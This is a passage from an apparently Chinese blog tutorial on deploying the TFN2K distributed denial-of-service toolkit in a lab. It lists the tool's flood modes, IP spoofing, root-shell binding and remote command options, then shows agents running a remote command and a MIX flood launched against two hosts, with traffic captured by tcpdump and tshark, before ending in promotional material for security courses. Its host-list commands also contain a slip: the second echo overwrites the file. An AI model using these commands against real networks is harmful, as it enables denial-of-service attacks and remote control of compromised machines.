为td
赋权,并执行文件,此时,代理端部署完毕
chmod 777 td
./td
可利用ps -a
查看进程,发现td
已经在运行了
2.2 TFN命令讲解
可在主控端输入./tfn
查看相关参数
-P protocol
:设置服务器通信的协议。可以是ICMP
、UDP
或TCP
。使用随机协议作为默认值-D n
:为每个真实的请求发送n
个虚假请求以诱骗目标-S hostIp
:可指定源ip
。默认情况下随机欺骗-f hostlist
:存储TFN
的所有主控端的文件名,表示其中所有主控端均实现攻击操作-h hostname
:只利用该主控端发起攻击,也就是一对一的攻击,后面跟一个主机或IP地址-p port
:为SYN
洪泛指定TCP
目标端口-c ID
:攻击参数-c 0
:停止攻击-c 1
:设置反欺骗等级设定,用法:-i 0
(完全欺骗)到-i 3
(/24个主机字节欺骗)-c 2
:改变攻击数据包大小,用法:-i <packet size in bytes>
-c 3
:将根shell
绑定到一个指定的端口,用法:-i<remote port>
-c 4
:UDP
洪水,用法:-i victim@victim2@victim3@...
-c 5
:TCP/SYN
洪水,用法:-i victim@...[-p目标端口]
-c 6
:ICMP/PING
洪水,用法:-i victim@...
-c 7
:ICMP/SMURF
洪水,用法:-i victim@broadcast@broadcast2@...
-c 8
:MIX flood
(随机UDP/TCP/ICMP
攻击),用法:-i victim@...
-c 9
:TARGA3
洪水(IP
堆栈渗透),用法:-i victim@...
-c 10
:盲目执行远程shell
命令,使用-i
命令,一般还可用于远程命令控制
2.3 测试TD
在实现泛洪攻击前,先对所有的代理端进行测试,测试其是否可“听从”主控端的安排
创建host.txt
文件用于记录所有运行了./td
文件的代理端
echo "192.166.60.2" > host.txt
echo "192.166.61.2" > host.txt
操作tfn
向所有的代理端实现创建文件夹的命令,一般创建的文件夹都和td
在同一级目录
./tfn -f /root/TFN2K/host.txt -c 10 -i "mkdir TestMakeDir"
查看代理端可知,文件夹创建成功,表明主控端可操作所有的代理端
三. 攻击
3.1 准备工作
先为被攻击服务器安装流量抓包软件,在DF1
上安装tcpdump
apt install tcpdump
测试抓取15
秒内的流量,并输出为文件形式
tcpdump -i eth1 -w "getFlow.pcap" -G 15
在DF2
上安装tshark
apt install tshark
# 倘若不能安装便先安装wireshark
apt install wireshark
测试抓取15
秒内的流量,并输出为文件形式
tshark -i eth1 -a duration:15 -w "getFlow.pcap"
3.2 发送攻击
开启流量捕获,利用控制端Master
向代理端发出攻击请求,利用MIX flood
攻击DF1
和DF2
./tfn -f /root/TFN2K/host.txt -c 8 -i 192.166.65.1@192.166.66.1
15
秒后停止流量攻击
./tfn -f /root/TFN2K/host.txt -c 0
3.3 查看结果
查看DF1
中捕获的流量,发现存在大量UDP
和TCP
数据流
tcpdump -r getFlow.pcap
因没有直接记录数据大小,可以通过ls -l
查看文件大小间接来判断捕获的数据流,可知确实捕获了大量数据
查看DF2
中捕获的流量,DF2
中更直观,表明捕获了约75
万个数据流
tshark -r getFlow.pcap
通过ls -l
查看文件大小,可知确实捕获了大量数据
3.4 解惑
我们发送的是MIX flood
,表示随机UDP/TCP/ICMP
攻击,但是在捕获流量的文件中并没有查看到ICMP
类型的流量,这是为什么呢?
通过我查阅资料可知:ICMP
洪泛攻击现已经过时,不再有效,网络管理员和服务提供商已经采取了各种防护措施,包括用于过滤恶意流量的设备和防火墙规则,这些自带的防护措施可以检测到大量的ICMP
流量,并在检测到异常或过多的流量时采取措施,以减轻对目标系统的影响。但UDP
和TCP
攻击可能更难检测和阻止,因为它们模拟更常见的网络通信模式。
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!